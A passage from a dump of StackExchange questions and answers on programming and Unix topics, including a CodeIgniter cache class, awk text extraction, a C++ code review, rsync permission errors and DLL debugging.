$path); // If the path is not really writable we'll turn off caching return $this->db->cache_off(); } $this->db->cachedir = $path; return TRUE; } /** * Gets table name from SQL statement * * @param SQL statement $sql * @return string or null */ private function get_table_name($sql) { $pattern = /FROM `(.*?)`/; preg_match($pattern, $sql, $matches); return isset($matches[1]) ? $matches[1] : null; } /** * Returns the strtotime equivalent of the last_modified field * for a given table * * @param string $table * @return boolean || int */ private function get_last_modified($table) { $res = $this->db->simple_query(SELECT `last_modified` FROM `master_table_modified` WHERE `table_name` = '{$table}'); if ($res !== true && $res->num_rows !== 1) { return false; } return strtotime($res->fetch_row()[0]); } /** * Retrieve a cached query * * Cache sub-folder is the name of the table * * @param string $sql * @return string */ public function read($sql) { $table = $this->get_table_name($sql); if (is_null($table)) { return false; } $filepath = $this->db->cachedir . $table . DS . md5($sql); $table_last_modified = $this->get_last_modified($table); if ($table_last_modified === FALSE) { return false; } if (!is_file($filepath)) { return false; } // check table last modified against file modified time if ($table_last_modified > filemtime($filepath)) { @unlink($filepath); return false; } if (FALSE === ($cachedata = file_get_contents($filepath))) { return false; } return unserialize($cachedata); } // -------------------------------------------------------------------- /** * Write a query to a cache file * * @param string $sql * @param object $object * @return bool */ public function write($sql, $object) { $table = $this->get_table_name($sql); if (is_null($table)) { return false; } $dir_path = $this->db->cachedir . $table . DS; $filename = md5($sql); if (!is_dir($dir_path) && !@mkdir($dir_path, 0750)) { return FALSE; } if (write_file($dir_path . $filename, serialize($object)) === FALSE) { return FALSE; } chmod($dir_path . $filename, 0640); return TRUE; } // -------------------------------------------------------------------- /** * Delete cache files within a particular directory * * @depreciated */ public function delete($segment_one = '', $segment_two = '') { return; } // -------------------------------------------------------------------- /** * Delete all existing cache files * * @return void */ public function delete_all() { delete_files($this->db->cachedir, TRUE, TRUE); }}Notes:Since the only statements worth caching in my app are SELECTs itsrather easy to find the table name from an SQL statement using regex.If one is solely using query builder you could easily assign thetable name to a variable accessible in the driver class and then passit to the cache class, but I sometimes just use the$this->db->query() function straight off.MyISAM tables generate last modified by default. But INNODB (what Imusing) only stores this in the database schema in MySQL 5.7+ (Im on 5.6)Results:Seemingly the same load times as with just the regular cache class. Benefits of not creating additional files for overlapping queries in the same table." , "title": "CodeIgniter cache replacement" , "tags": "php;codeigniter" } { "id": "_cs.18312" , "question": "I've got 30 elements which has to be grouped/sorted into 10 ordered 3-tuple. There are several rules and constraints about grouping/sorting.For example: Element $A$ must not be in the same tuple same unit $B$. Element $C$ must not be right in front of element $A$, etc.I am searching for an approximated algorithm:We don't need to achieve the exact optimum It is OK for some rules not to be satisfied, if it helps to fulfill more rules.Do you know of any algorithm/proceeding that solve this problem or a similar one?I fear to solve it in an optimal way, you have to try out every possible solution-> $2 ^ {30}$EDIT: Sorry for the bad explanation. I am trying to make it a bit clearer:I got 30 elements for example: $\\{1,2,3,\\ldots,30\\}$.I need to group them into 3-tuples so that i get something like: $(1,2,3)$, $(4,5,6)$,$\\ldots$,$(28,29,30)$.There are several constraints. For example: 1 cannot precede 2 in an ordered tuple, so, for instance $(1,2,3)$ is not a valid tuple.5 must be together with 4. Those constraints can be broken and its possible that there is no solution where all rules can be fulfilled. An solution is considered as good if the amount of rules broken is low.Hope that makes it clearer and thanks for the help so far." , "title": "Algorithm for sorting with constraints" , "tags": "algorithms;sorting;randomized algorithms;greedy algorithms" , "accepted_answer": "Just to let anyone know, who got a similiar problem.I found genetic algorithm as an solution to it.Create a population by creating multiple individuals. This is done by setting the elements on a random spot in a vector.Generating the fitness of the individuals by checking how many rules are broken. The fitness is reduced by 1 per rule broken.Checking if the solution is acceptable(Either fitness = 0 or termination criteria satisfied)Doing tournament selection with suitable size(i chosed 3) on the population-> Getting the tournament winner-> Reproduct it, Mutate it or 1-Point-Crossover 2 of them and add it to the limbo.-> Repeat 4. till the limbo got population sizeGoto 3.Hope you get the idea of it. Thanks for the comments on the original question.If you got any question, feel free to ask." } { "id": "_unix.290331" , "question": "I'd like to attach some files in mutt's compose screen. I press a to attach. However, if I paste in a path with spaces, it eats the spaces up. Similarly, if I drag and drop a GUI icon into my terminal, it will similarly eat up the spaces.Invariably, I mess around a few times, then manually type out (with tab-complete) the entire path. How can I easily attach files from within mutt?" , "title": "In mutt, how can I easily attach files which contain spaces in their name?" , "tags": "mutt" , "accepted_answer": "You can change the key bindings of the line editor prompt to make Space insert a space. By default, it invokes buffy-cycle, which cycles through completion possibilities or offers a completion menu. You can rebind this to another key, for example Alt+Space (I think mutt can't handle Ctrl+Space which the terminal transmits as a null byte).macro editor <space> \\Cv bind editor \\e\\ buffy-cycleAs far as I know, you can't have different key bindings for different kinds of prompts. You can change key bindings dynamically by calling bind in hooks, but I don't think there's a hook that runs at the right time.Alternatively (or in addition), you can define a macro in the compose menu that attaches a file whose name is in the clipboard.macro compose \\Ca <attach-file>`xsel -b | sed s/ /$(printf \\\\026)&/g`<enter>" } { "id": "_codereview.131879" , "question": "Recently, i have been indulging in a lot of codility challenges to improve my coding performance. For each of this exercise, I always aim for simple solutions as opposed to complicated ones that arrive at the same answer . The question isTwo positive integers N and M are given. Integer N represents the number of chocolates arranged in a circle, numbered from 0 to N 1.You start to eat the chocolates. After eating a chocolate you leave only a wrapper.You begin with eating chocolate number 0. Then you omit the next M 1 chocolates or wrappers on the circle, and eat the following one.More precisely, if you ate chocolate number X, then you will next eat the chocolate with number (X + M) modulo N (remainder of division).You stop eating when you encounter an empty wrapper.For example, given integers N = 10 and M = 4. You will eat the following chocolates: 0, 4, 8, 2, 6.The goal is to count the number of chocolates that you will eat, following the above rules.Write a function:class Solution { public int solution(int N, int M); }that, given two positive integers N and M, returns the number of chocolates that you will eat.For example, given integers N = 10 and M = 4. the function should return 5, as explained above.Assume that:N and M are integers within the range [1..1,000,000,000]. Complexity:expected worst-case time complexity is O(log(N+M)); expected worst-case space complexity is O(log(N+M))I am aware a similar questions has been asked in java ChocolatesByNumbersbut my question is more directed to C#public static int PrintNChocolatesInaCircle(int N, int M){ int counter = 1; int start = 0; int value; while ((start + M) % N != 0) { value = (start + M) % N; start = value; counter++; } return counter;}Codility scored my code in terms of Correctness 100% but in terms of performance, it takes longer time to process large elements e.g N = (3^9)(2^14), M=(2^14)(2^14) for a large element and going a bit higher the performance declines." , "title": "ChocolatesByNumbers- Find the number of N chocolates in a circle" , "tags": "c#;programming challenge" , "accepted_answer": "I think to brute force this kind of question is the wrong path to take to begin with.Quoting the wikipedia on Brute Force Search : While a brute-force search is simple to implement, and will always find a solution if it exists, its cost is proportional to the number of candidate solutions which in many practical problems tends to grow very quickly as the size of the problem increases. Therefore, brute-force search is typically used when the problem size is limited, or when there are problem-specific heuristics that can be used to reduce the set of candidate solutions to a manageable size. The method is also used when the simplicity of implementation is more important than speed.As @WinstonEwert has pointed out, the number of chocolates that you can eat, is related to the least common multiplier. And, here is one fast way of computing it making use of the Euclidean Algorithm :static int gcf(int a, int b){ while (b != 0) { int temp = b; b = a % b; a = temp; } return a;}static int lcm(int a, int b){ return (a / gcf(a, b)) * b;}Credit to @AffluentOwl's answerHowever, LCM is not the final answer, but it is the number of chocolate that we care, we have to divide lcm by M. And, we can simplify all this :public static int PrintNChocolatesInaCircle(int N, int M){ // these already have a known answer if (M == 1) return N; if (M == N) return 1; int a = N, b = M; while (b != 0) { var temp = b; b = a % b; a = temp; } return N / a;}Lastly, make sure you respect the requirements : Write a function:class Solution { public int solution(int N, int M); }" } { "id": "_softwareengineering.285832" , "question": "During creation of new Github repository I could choose license under which my project will be hosted on Github. I didn't do that because Github suggested only few licenses to choose (and WTFPL wasn't on the list). However, after repository was created I cannot find any option to indicate either WTFPL license or any other.Is it possible to setup license for my repo after it was created on GitHub?" , "title": "How can I setup custom license for my github repository?" , "tags": "licensing;github" , "accepted_answer": "Absolutely. Create a new file called LICENSE and put your terms in there. For quick adding of the license you can use addalicense.com or manually push the file to GitHub using various tools. (or quickly via the GUI)License file names are normally; LICENSE, LICENSE.txt, LICENSE.md" } { "id": "_cstheory.27280" , "question": "Most current cryptography methods depend on the difficulty of factoring numbers that are the product of two large prime numbers. As I understand it, that is difficult only as long as the method used to generate the large primes cannot be used as a shortcut to factoring the resulting composite number (and that factoring large numbers itself is difficult).It looks like mathematicians find better shortcuts from time to time, and encryption systems have to be upgraded periodically as a result. (There's also the possibility that quantum computing will eventually make factorization a much easier problem, but that's not going to catch anyone by surprise if the technology catches up with the theory.)Some other problems are proven to be difficult. Two examples that come to mind are variations on the knapsack problem, and the traveling salesman problem.I know that MerkleHellman has been broken, that NasakoMurakami remains secure, and that knapsack problems may be resistant to quantum computing. (Thanks, Wikipedia.) I found nothing about using the traveling salesman problem for cryptography.So, why do pairs of large primes seem to rule cryptography?Is it simply because the it is currently easy to generate pairs of large primes that are easy to multiply but difficult to factor?Is it because factoring pairs of large primes is proven to be difficult to a predictable degree that is good enough?Are pairs of large primes useful in a way other than difficulty, such as the property of working for both encryption and cryptographic signing?Is the problem of generating problem sets for each of the other problem types that are difficult enough for the cryptographic purpose itself too difficult to be practical?Are the properties of other problem types insufficiently studied to be trusted?Other." , "title": "Why does most cryptography depend on large prime number pairs, as opposed to other problems?" , "tags": "cr.crypto security;primes" } { "id": "_cs.12405" , "question": "Is there any convex hull algorithm that can be extended to non-euclidean metric, such as the geodesic distance on the surface of a sphere?" , "title": "Convex Hull on a Spherical Surface" , "tags": "algorithms;computational geometry" } { "id": "_reverseengineering.12530" , "question": "Is there an easy to convert assembly (ARM) to C code?" , "title": "How to convert assembly to C code" , "tags": "assembly;c;arm" } { "id": "_webapps.86377" , "question": "Is there a way to populate a dropdown list differently depending on the values of another cell? For example, the dropdown in A2 contains Movies and Sports. I want the dropdown in A3 to have Horror and Romance in its dropdown selection if I select Movies in A2 and Baseball and Basketball if I select SportsHow can I achieve this? " , "title": "Is there a way to dynamically populate a dropdown depending on the value of other cells?" , "tags": "google spreadsheets;data validation" , "accepted_answer": "You could make the second validation list an if/then statement dependent on the answer to the first one.=if(A1=Movies,Horror,Baseball)=if(A1=Movies,Romance,Basketball)An example is here." } { "id": "_unix.55604" , "question": "I'm trying to runhaxelib run nme setup linuxTo set up NME for the Linux target on my Debian box. Actually Linux MINT Debian Edition, but that shouldn't matter. However, I get the following output:E: Unable to locate package ia32-libs-multiarchCalled from ? line 1Called from InstallTool.hx line 579Called from setup/PlatformSetup.hx line 440Called from setup/PlatformSetup.hx line 474Called from setup/PlatformSetup.hx line 1410Called from helpers/ProcessHelper.hx line 133Called from helpers/ProcessHelper.hx line 169Uncaught exception - Error running: sudo apt-get install ia32-libs-multiarch gcc-multilib g++-multilib []I also tried to run:sudo apt-get install ia32-libs-multiarchBut I getE: Unable to locate package ia32-libs-multiarchIs this an Ubuntu specific package?Edit: I got this to work eventually, without installing that package or any other. Unfortunatly I don't remember what it was I did. If someone finds this and has the same problem give this question some attention and I will try again.." , "title": "nme for linux target setup fails on debian" , "tags": "linux;ubuntu;debian" } { "id": "_unix.240136" , "question": "I have a file which has many random lines likeaaa bbbccc dddeee mark: 98 fffggg ggg jjjj iiijjj kkkkI want to use awk AND only gensub to match the number 98 above. So far I have this code below, I think it does not work cause I need to make gensub treat \\n as any other character.cat file.txt | awk 'printf(gensub(/^.*mark: ([0-9]+).*$/,\\\\1,g))}'I need the output of the code above to be only 98. How do I do that?EDITeven when I use the s or m modifier it does not work as it should cause as far as I know the s modifier should make regex treat . as any character including \\n." , "title": "gensub on multiple lines" , "tags": "text processing;awk" , "accepted_answer": "You seem to think that awk treats its input as a multiline string. It doesn't. When you run an awk script on a file, the script is applied to each line of the file separately. So, your gensub was run once per line. You can actually do what you want with awk but it really isn't the best tool for the job. As far as I can tell, you have a large file and only want to print a number that comes after mark: and whitespace. If so, all of these approaches are simpler than fooling around with gensub:Use grep with Perl Compatible Regular Expressions (-P)$ grep -oP 'mark:\\s*\\K\\d+' file 98The -o makes grep only print the matching portion of the line. The \\K is a PCRE construct which means ignore anything matched before this point.sed$ sed -n 's/.*mark:\\s*\\([0-9]\\+\\).*/\\1/p' file98The -n suppresses normal output. The p at the end makes sed print only if the substitution was successful. The regex itself captures a string of numbers following mark: and 0 or more whitespace characters and replaces the whole line with what was captured. Perl$ perl -ne 'print if s/.*mark:\\s*(\\d+).*/$1/' file98The -n tells perl to read an input file line by line and apply the script given by -e. The script will print any lines where the substitution was successful.If you really, really want to use gensub, you could do something like:$ awk '/mark:/{print gensub(/.*mark:\\s*([0-9]+).*/,\\\\1,g)}' file98Personally, I would do it this way in awk:$ awk '/mark:/{gsub(/[^0-9]/,);print}' file98Since you seemed to be trying to get awk to receive multiline input, this is how you can do that (assuming there are no NULL characters in your file):$ awk '{print(gensub(/^.*mark: ([0-9]+).*$/,\\\\1,g))}' RS='\\0' file98The RS='\\0' sets the input record separator (that's what defines a line for awk) to \\0. Since there are no such characters in your file, this results in awk reading the whole thing at once. " } { "id": "_codereview.59827" , "question": "I have been reading Clean Code and decided to start working problems on Codechef.com attempting to apply some of what I have learned.Do I seem to be on the right track or am I way off?The challenge is to find the number of trailing zeroes in the decimal form of N!, where 1N109.I am more concerned with the coding style than the way I solved the problem but any comments are appreciated.#include <iostream>#include <vector>int requestNumInts();bool validateInputSize(const int totalNumInts);std::vector<int>* createVector(int totalNumInputs);void loadVector(std::vector<int>* numbersEntered);void printNumTrailingZeros(const std::vector<int>* numbersEntered);int findTrailingZeros(int numberToCalculateZeros);int main() { std::ios::sync_with_stdio(false); std::vector<int>* numbers; numbers = createVector(requestNumInts()); loadVector(numbers); printNumTrailingZeros(numbers); delete numbers; return 0;}int requestNumInts() { int totalNumInts = 0; while(!validateInputSize(totalNumInts)) { std::cin >> totalNumInts; } return totalNumInts;}bool validateInputSize(const int totalNumInts) { const int MAX_NUMBER_OF_INPUTS = 1000000000; const int MIN_NUMBER_OF_INPUTS = 1; if(totalNumInts >= MIN_NUMBER_OF_INPUTS && totalNumInts <= MAX_NUMBER_OF_INPUTS) { return true; } else { return false; }}std::vector<int>* createVector(int totalNumInts) { std::vector<int>* numbers = new std::vector<int>(totalNumInts); return numbers;}void loadVector(std::vector<int>* numbersEntered) { for(unsigned int count = 0; count < numbersEntered->size(); ++count) { std::cin >> (*numbersEntered)[count]; }}void printNumTrailingZeros(const std::vector<int>* numbersEntered) { for(unsigned int count = 0; count < numbersEntered->size(); ++count) { std::cout << findTrailingZeros((*numbersEntered)[count]) << std::endl; }}int findTrailingZeros(int numberToCalculateZeros) { int totalTrailingZeros = 0; const int FACTOR = 5; while(numberToCalculateZeros >= FACTOR) { numberToCalculateZeros /= FACTOR; totalTrailingZeros += numberToCalculateZeros; } return totalTrailingZeros;}" , "title": "Clean code attempt on codechef.com FCTRL" , "tags": "c++;beginner;programming challenge" , "accepted_answer": "Code Reviewint requestNumInts();bool validateInputSize(const int totalNumInts);std::vector<int>* createVector(int totalNumInputs);void loadVector(std::vector<int>* numbersEntered);void printNumTrailingZeros(const std::vector<int>* numbersEntered);int findTrailingZeros(int numberToCalculateZeros);Personally I like to align the function names (this makes it easier to read). This is purely personal. Some like it some don't.int requestNumInts();bool validateInputSize(const int totalNumInts);std::vector<int>* createVector(int totalNumInputs);void loadVector(std::vector<int>* numbersEntered);void printNumTrailingZeros(const std::vector<int>* numbersEntered);int findTrailingZeros(int numberToCalculateZeros);Now that I have lined it up two things sprint to mind.You are returning a vector by pointer (that's not good as there is no ownership semantics (who deletes it)). You should probably return by value. The optimizer will remove any copying and it prevents memory leaks. You can then pass the vector by reference to prevent copying in other situations.You seem to be writing C code. If you implements this inside an object then a lot of you parameters don't need to be passed they are part of the object that is being manipulated.Nice: std::ios::sync_with_stdio(false);Pointer. Boo. Bad. std::vector<int>* numbers;It is rare to see RAW pointers in C++ code. Pointers are usually wrapped inside smart pointers. But in this case you don't even need a pointer just use a normal std::vector as an object in place. std::vector<int> numbers = createVector(requestNumInts());Using a delete is risky. delete numbers;It is hard to tell if numbers was dynamically allocated! You actually have to go and look that up in the function createVector(). So if you change createVector() you also need to go through your code and find every place that calls createVector() to make sure they also use it correctly. Also its not exception safe. If an exception propagates through your code then you leak memory.The main() function is special. If you don't specify a return then the compiler generates a return 0; for you. If your code can do nothing else apart from exit successfully then leave the return 0; out to indicate that there are no failure states. If there are error exit states then return 0; is an indication that the reader of the code should look for exit failures attempts.Here:int requestNumInts() { int totalNumInts = 0; while(!validateInputSize(totalNumInts)) { std::cin >> totalNumInts; } return totalNumInts;}The first attempt will always fail. So why not use a do {} while() loop. This is designed for this situation. You always execute the code before doing the test.Avoid if conditions that return true/false.bool validateInputSize(const int totalNumInts) { const int MAX_NUMBER_OF_INPUTS = 1000000000; const int MIN_NUMBER_OF_INPUTS = 1; if(totalNumInts >= MIN_NUMBER_OF_INPUTS && totalNumInts <= MAX_NUMBER_OF_INPUTS) { return true; } else { return false; }}The above can be written as:Much more readable. return (totalNumInts >= MIN_NUMBER_OF_INPUTS) && (totalNumInts <= MAX_NUMBER_OF_INPUTS);Don't create the vector with new.std::vector<int>* createVector(int totalNumInts) { std::vector<int>* numbers = new std::vector<int>(totalNumInts); return numbers;}RVO and NRVO will remove the copy that happens when you return by value. Also with C++11 and move semantics this makes this even more efficient. So never do this.Also this whole function can be replaced with just a simple declaration in main.Much simpler and more readable.std::vector<int> numbers(requestNumInts());Good try:void loadVector(std::vector<int>* numbersEntered) { for(unsigned int count = 0; count < numbersEntered->size(); ++count) { std::cin >> (*numbersEntered)[count]; }}Couple of different ways to do this:// Use the new foreach keywordfor(auto& val: numbers){ std::cin >> val;}// Using iterators.for(auto loop = numbers.begin(); loop != numbers.end(); ++loop){ std::cint >> (*loop);}// Or we can use the old classic C++03 std::transformstd::transform(std::begin(numbers), std::end(numbers), std::istream_iterator<int>(std::cin), std::begin(numbers), [](int& /*val1*/, int& val2){ return val2;});Again nice effort with the printing.void printNumTrailingZeros(const std::vector<int>* numbersEntered) { for(unsigned int count = 0; count < numbersEntered->size(); ++count) { std::cout << findTrailingZeros((*numbersEntered)[count]) << std::endl; }}Again some other options:// Use the new foreach keywordfor(auto& val: numbers){ std::cout << findTrailingZeros(val) << \\n;}// Using iteratorsfor(auto loop = numbers.begin(); loop != numbers.end(); ++loop){ std::cout << findTrailingZeros(*loop) << \\n;}// Or we can use the old classic C++03 std::for_eachstd::for_each(std::begin(numbers), std::end(numbers), [](int val){ std::cout << findTrailingZeros(val) << \\n;});Also note the use of \\n rather than std::endl. The std::endl adds a \\n to the stream but then also calls flush. This is hardly ever what you actually want to do. Let the stream flush itself it makes it much more efficient to do so. In your loops get used to use iterators to loop over containers. They are much more versatile and apply to all containers. Also you can pass them to functions very easily and they allow you to specify sub-ranges very trivially (event the foreach uses iterators underneath).How I would do it.First note that the output does not depend on previous values. You could cache them for speedy look-up but that seems overkill for such a simple algorithm. So there is no need to store the data in a vector. #include <iostream> int main() { std::ios::sync_with_stdio(false); int count; std::cin >> count; for(int loop=0; loop < count; ++count) { int value; std::cin >> value; std::cout << LeadingZero(value) << \\n; } }" } { "id": "_vi.9740" , "question": "I set my mapleader to Space as :let mapleader = \\<Space> and use it in command mode quite often. But when I hold it it makes the cursor to move forward which is very annoying.QUESTION: Is there a way to unbind Space in normal mode?" , "title": "Unbind Space in normal mode" , "tags": "key bindings;vimrc" } { "id": "_webapps.98241" , "question": "I'm sure this is not as complicated as I'm trying to make it. What I'm trying to do is take a calculated cell value, add a letter to it, and reference it from another sheet.So, if A1 is a value of 1, then I want the value of Sheet1!A1If A1 is 92, I want the value of Sheet1!A92If A1 is 0, I don't want anything.If A1 is blank, I don't want anything." , "title": "How to reference a cell using a cell value?" , "tags": "google spreadsheets" } { "id": "_unix.10044" , "question": "I am trying to cron an rsync via ssh between two fileservers that are running SME Server 7.4 and Ubuntu 10.10, respectively. The first rsync worked just fine (for reasons that I do not know), but now, well... here's the output:[i@i-drive ~]$ rsync -avz -e ssh /home/e-smith/files/ibays/drive-i/files/Warehouse\\ Pics/* fm-backup@[hostname removed]:~/img_all/sending incremental file listConverted Warehouse Pictures/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures: Operation not permitted (1)Converted Warehouse Pictures/12903-13099/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099: Operation not permitted (1)Converted Warehouse Pictures/12903-13099/13038/rsync: recv_generator: mkdir /home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099/13038 failed: Permission denied (13)*** Skipping any contents from this failed directory ***Converted Warehouse Pictures/30500 - 30600/30677/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677: Operation not permitted (1)Converted Warehouse Pictures/30500 - 30600/30677/P1430928.JPGConverted Warehouse Pictures/30500 - 30600/30677/P1430929.JPGrsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430928.JPG.8SDmeO failed: Permission denied (13)rsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430929.JPG.qEfwpI failed: Permission denied (13)Converted Warehouse Pictures/30900 - 31000/rsync: recv_generator: mkdir /home/fm-backup/img_all/Converted Warehouse Pictures/30900 - 31000 failed: Permission denied (13)*** Skipping any contents from this failed directory ***Converted Warehouse Pictures/Tiff's Folder/rsync: failed to set times on /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder: Operation not permitted (1)Converted Warehouse Pictures/Tiff's Folder/IMG_3474.JPGConverted Warehouse Pictures/Tiff's Folder/IMG_3475.JPGConverted Warehouse Pictures/Tiff's Folder/IMG_3476.JPGrsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3474.JPG.aBPfwH failed: Permission denied (13)rsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3475.JPG.4rQNSM failed: Permission denied (13)rsync: mkstemp /home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3476.JPG.EpQJkY failed: Permission denied (13)Unconverted Warehouse Pictures/PANA 1430200/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430300/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430300: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430300/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430400/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430400: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430400/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430500/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430500: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430500/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430600/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430600: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430600/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430700/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430700: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430700/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430800/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430800: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430800/Thumbs.dbUnconverted Warehouse Pictures/PANA 1430900/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430900: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1430900/Thumbs.dbUnconverted Warehouse Pictures/PANA 1440000/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440000: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1440000/Thumbs.dbUnconverted Warehouse Pictures/PANA 1440100/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440100: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1440100/Thumbs.dbUnconverted Warehouse Pictures/PANA 1440200/rsync: failed to set times on /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440200: Operation not permitted (1)Unconverted Warehouse Pictures/PANA 1440200/Thumbs.dbrsync: mkstemp /home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430200/.Thumbs.db.IRLwfB failed: Permission denied (13)inflate returned -3 (0 bytes)rsync error: error in rsync protocol data stream (code 12) at token.c(546) [receiver=3.0.7]rsync: connection unexpectedly closed (8118 bytes received so far) [sender]rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.7](Note: Trust me, I know that TRWTF is the terrible and horrible way that the directory is organized. That's another project for another day.)Neither account is root, and I don't want to have to make the accounts root for this to work. i@i-drive rsyncs just fine to my OSX fileserver, and from the same folder, even. The account on the OSX box isn't root, either." , "title": "Why do I get an rsync: failed to set times on ... : Operation not permitted (1) error on Ubuntu 10.10 with SME Server 7.4?" , "tags": "ubuntu;ssh;permissions;rsync;sme server" } { "id": "_unix.280597" , "question": "How can someone print the entire time ie, for example 12:07:59:393(HH:MM:SS:milliseconds) in milliseconds. I found a lot of posts saying how to print Milliseconds along witht HHMMSS but I want to print the realtime clock in milliseconds. I'm using Linux." , "title": "Millisecond time in a shell script" , "tags": "shell;shell script;date" } { "id": "_unix.322473" , "question": "Centos 7.2Multi Theft Auto 1.5.3 Linux ServerThis Game server runs fine.I would like to know how to best auto start this game server for 24/7 operation on all occasions of server startup/reboot/crash? And I would like it start in a screen that starts detached/minimized but re-attachable. I need an easy to understand step by step example.the program to start is located here:/home/gta3mta/multitheftauto_linux_x64-1.5.3/mta-server64" , "title": "Cent OS 7 MTA:SA Game Server Auto Start on boot" , "tags": "centos;boot;startup" } { "id": "_unix.180021" , "question": "Researched:http://www.thecave.info/export-proxy-username-password-linux/https://stackoverflow.com/questions/5334110/text-based-ftp-client-settings-behind-a-proxyhttp://www.cyberciti.biz/faq/linux-unix-set-proxy-environment-variable/I have been reading up on reverse FTP; the concept of how it works as well as the configuration. However none could fully fufil my understanding base my the scenario I was give. Most of the web sites only states the commands to forward any FTP request to a proxy server. What I wanted to learn exactly how each individual nodes in the setup has to be configured (except the firewall)Scenario:[Internal FTP Server] -> [DMZ Reverse FTP Server] -> [External Clients Computers/Servers]When a legitimate client computer/server on the external network make a FTP request to the FTP server in the internal network, there will be a reverse FTP server which forwards the request between them. There will be two firewalls in between the reverse FTP server, external client and internal. A typical back-to-back firewall topology.FTP server will be installed on the internal FTP server (Normal Mode)The internal FTP server has to be configure to forward and receive any FTP request to/from the reverse FTP server in the DMZThe reverse FTP server has to be configure as a proxy server that can receive and forward any FTP requestExternal clients/servers should only be able to see the public IP address of the interface of the public facing firewallBoth servers, the FTP server and the reverse FTP server are running on Linux RHEL 6 OSWhat at the commands and steps should I take to perform such configurations on the FTP server as well as the reverse FTP server? Is there any security measures that I should take note of?" , "title": "How to setup reverse FTP in RHEL?" , "tags": "rhel;firewall;ftp;proxy;file server" } { "id": "_cs.29945" , "question": "I've learned that one can represent natural numbers with lambda calculus like this:\\begin{align*}c_0 &= \\lambda s. \\lambda z. z\\\\c_1 &= \\lambda s. \\lambda z. s~z\\\\c_2 &= \\lambda s. \\lambda z. s~(s~z)\\\\c_3 &= \\lambda s. \\lambda z. s~(s~(s~z))\\\\\\end{align*}But could one also write\\begin{align*}c'_0 &= \\lambda z. \\lambda s. z\\\\c'_1 &= \\lambda z. \\lambda s. s~z\\\\c'_2 &= \\lambda z. \\lambda s. s~(s~z)\\\\c'_3 &= \\lambda z. \\lambda s. s~(s~(s~z))\\\\\\end{align*}?Why / why not?" , "title": "Can the lambda functions in Church numbers be swapped?" , "tags": "lambda calculus;church numerals" } { "id": "_reverseengineering.2728" , "question": "I want to debug a DLL when it is called from an application. For example, when Firefox calls nss3.dll NSS Builtin Trusted Root CAs to check HTTPS Certificates, I want to catch the nss3.dll and debug all its transactions with a known debugger like OllyDBG or any other. How to trace threads created and debug them ?" , "title": "How to debug DLL imported from an application?" , "tags": "debuggers;debugging" , "accepted_answer": "In OllyDBG and ImmunityDbg, in Options->Debugging Options-> Events you have an option Break on new module. If this option is set, whenever a new DLL is loaded, Olly/Immdbg will break and let you do your business. In Windbg follow Debug-> Event Filters, in the list you will find Load module, on the side set the options to Enabled and Handeled which will achieve the same result as above.If on the other hand you want to break on the specific function, you can check the DLL exports which lists all the functions exported by DLL. After the DLL is loaded, and the debugger breaks as per previously mentioned settings, you can then proceed to set the breakpoints on individual functions. " } { "id": "_unix.138045" , "question": "I can't mount my encrypted devices anymore.The error is:device mapper: create ioctl failed device or resource busyThis error arises both with two different programs to access TrueCrypt encrypted devices: TrueCrypt and Tc-play.In this case, the recommendation is to remove /dev/mapper/truecrypt* directories, or look for processes that are blocking the device. However, there is no /dev/mapper/truecrypt* directory, and lsof returns nothing.One TrueCrypt device takes a whole HDD. According to fdisk, this partition is formatted with HPFS/NTFS.Another TrueCrypt device is on a partition on /dev/sda. According to fdisk, this partition is Linux (ext3 or ext4, if I remember correctly).What could be causing the error?Software:Debian GNU/Linux 6" , "title": "GNU/Linux: device mapper: create ioctl failed device or resource busy" , "tags": "linux;device mapper;ioctl" } { "id": "_softwareengineering.154707" , "question": "Our business analysts pushed hard to collect data through a spreadsheet. I am the programmer responsible for importing that data. Usually when they push hard for something like this, I never know how well it will work out until a few weeks later when I have time assigned to work on the task of programming the import of the data. I have tried to do as much as possible along the way, named ranges, data validations, etc. But I usually don't have time to take a detailed look at all the data and compare to the destination in the database to determine how well it matches up.A lot of times there will be maybe a little table of items that somehow I have to relate to something else in the database, but there are not natural or business keys present that would allow me to do so. Make the best of this, trying to write something that can compare strings and make a best guess at it and then go through the effort of creating interfaces for a user to match the imported data to the 